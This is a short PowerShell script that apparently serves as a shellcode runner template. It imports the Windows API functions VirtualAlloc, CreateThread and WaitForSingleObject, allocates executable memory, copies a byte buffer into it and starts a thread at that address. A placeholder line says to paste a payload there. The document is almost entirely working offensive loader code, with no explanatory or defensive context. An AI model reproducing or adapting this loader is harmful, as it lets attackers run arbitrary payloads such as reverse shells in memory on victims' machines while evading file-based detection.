shell_script

$VrtAlloc = @"
using System;
using System.Runtime.InteropServices;

public class VrtAlloc{
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);  
}
"@

Add-Type $VrtAlloc 

$WaitFor= @"
using System;
using System.Runtime.InteropServices;

public class WaitFor{
 [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);   
}
"@

Add-Type $WaitFor

$CrtThread= @"
using System;
using System.Runtime.InteropServices;

public class CrtThread{
 [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
  
}
"@
Add-Type $CrtThread   

[Byte[]] $buf = [SHELLCODE_PLACEHOLDER]   <--- paste payload here []
[IntPtr]$addr = [VrtAlloc]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.Length)
$thandle = [CrtThread]::CreateThread(0, 0, $addr, 0, 0, 0)